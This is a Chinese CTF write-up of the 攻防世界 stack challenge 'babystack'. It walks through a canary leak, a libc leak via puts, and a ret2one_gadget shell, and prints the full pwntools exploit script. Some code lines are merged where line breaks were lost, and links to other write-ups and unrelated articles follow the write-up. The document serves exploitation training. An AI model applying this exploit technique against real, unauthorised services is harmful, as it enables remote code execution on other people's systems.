攻防世界 —— pwn1

攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了。

题目流程

拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞。在gdb中检查题目的保护。

解题思路

程序没有开PIE,但是有Canary,所以首先要infoleak,泄露出Canary。泄露出Canary之后,可以通过ret2Onegadget的方法来getshell,这样的话,还要泄露出一个函数地址,泄露出函数地址之后,通过偏移来计算出libc的基地址,然后计算出Onegadget的地址。

exp如下所示:

from pwn import *
context.log_level='debug'
DEBUG=0
if DEBUG:
io=process('./babystack')
else:
io=remote('220.249.52.133',30008) elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
get_shell=0x45216
#onegadget的地址

read_plt=elf.plt['read']
write_plt=elf.plt['write']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
puts_off=libc.sym['puts'] pop_rdi_ret=0x400a93
pppppp_ret=0x400A8A
movret=0x400a70
main_addr=0x400909 io.recv()
io.sendline(str(1))
payload='a'*0x88+'\n' #这里'\n'覆写Canary最低字节
io.send(payload)
io.recv()
io.sendline(str(2))
io.recvuntil('a'*0x88)
Canary=u64(io.recv(8))-0xa #泄露出Canary
print("Canary:{}".format(hex(Canary)))
io.recv() io.sendline(str(1))
payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #泄露出puts函数地址
io.send(payload)
io.sendafter('>> ',str(3))
puts_addr=u64(io.recv(8).ljust(8,'\x00'))
libc_addr=puts_addr-libc.symbols['puts']
execve_addr=libc_addr+0x45216
print("puts_addr:{}".format(hex(puts_addr)))
print("libc_addr:{}".format(hex(libc_addr)))
print("execve_addr:{}".format(hex(execve_addr)))
payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(execve_addr) #ret2One_gadget io.sendlineafter('>> ',str(1))
io.send(payload)
io.sendlineafter('>> ',str(3))
io.interactive()

攻防世界pwn高手区——pwn1的更多相关文章

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. CTF -攻防世界-web高手区-ics-06

    打开网址 根据题意点开报表中心(因为其他的点开都一样,不信你试试) 会看见id =1 想到burp爆破id 所以打开burp抓包(不会抓包的百度 或者看我web新手区,有一题就有抓包 我说的很详细) ...

  3. CTF -攻防世界-web高手区-mfw

    ---恢复内容开始--- 昂,我很菜这是网上大神的教程. https://blog.csdn.net/silence1_/article/details/89741733 ---恢复内容结束---

  4. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

  5. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

  6. 攻防世界 WEB 高手进阶区 easytornado Writeup

    攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...

  7. 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...

  8. 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...

  9. 攻防世界 WEB 高手进阶区 upload1 Writeup

    攻防世界 WEB 高手进阶区 upload1 Writeup 题目介绍 题目考点 文件上传漏洞 一句话木马 中国菜刀类工具的使用 Writeup 使用burpsuite抓包 可见只是对上传文件的后缀进 ...

随机推荐

  1. 最佳实践丨使用Rancher轻松管理上万资源不是梦!

    前 言 Rancher 作为一个开源的企业级 Kubernetes 集群管理平台.你可以导入现有集群,如 ACK.TKE.EKS.GKE,或者使用 RKE.RKE2.K3s 自定义部署集群. 作为业界 ...

  2. excel判断数据是否存在另一列中

    1.if(EXACT(A2,B2)=TRUE,"相同","不同"),A2,B2相同(字母区分大小写)则函数值true正确,反馈相同,反之返回不同.注:单元格值受 ...

  3. Salesforce LWC学习(三十五) 使用 REST API实现不写Apex的批量创建/更新数据

    本篇参考: https://developer.salesforce.com/docs/atlas.en-us.224.0.api_rest.meta/api_rest/resources_compo ...

  4. 创建Akamai cdn api授权

    注:通过Akamai Cli purge和通过Akamai API进行刷新之前,都要事先创建类似于如下的刷新的凭据,这两种刷新方式所创建的凭据是相同的. 目的:创建Akamai CDN API授权以便 ...

  5. hdu 2842 Chinese Rings 矩阵快速幂

    分析: 后面的环能不能取下来与前面的环有关,前面的环不被后面的环所影响.所以先取最后面的环 设状态F(n)表示n个环全部取下来的最少步数 先取第n个环,就得使1~n-2个环属于被取下来的状态,第n-1 ...

  6. 资源:Maven仓库地址路径

    Maven下载路径 https://archive.apache.org/dist/maven/maven-3/ 查找需要引入的包路径时,可以在maven仓库进行查找 maven仓库地址:https: ...

  7. MyBatis-HotSwap, MyBatis热部署

    https://github.com/xiaochenxinqing/MyBatis-HotSwap   1 https://github.com/xiaochenxinqing/MyBatis-Ho ...

  8. netcore3.1 + vue (前后端分离)生成PDF(多pdf合并)返回前端打印

    1.使用Adobe Acrobat XI Pro编辑pdf模板 2.公共类代码 3.service层调用 4.Controller层 5.前端(Vue) 因为print.js不支持宋体,所以打算用后台 ...

  9. 【Spring】Spring中的循环依赖及解决

    什么是循环依赖? 就是A对象依赖了B对象,B对象依赖了A对象. 比如: // A依赖了B class A{ public B b; } // B依赖了A class B{ public A a; } ...

  10. spring中如何向一个单例bean中注入非单例bean

    看到这个题目相信很多小伙伴都是懵懵的,平时我们的做法大都是下面的操作 @Component public class People{ @Autowired private Man man; } 这里如 ...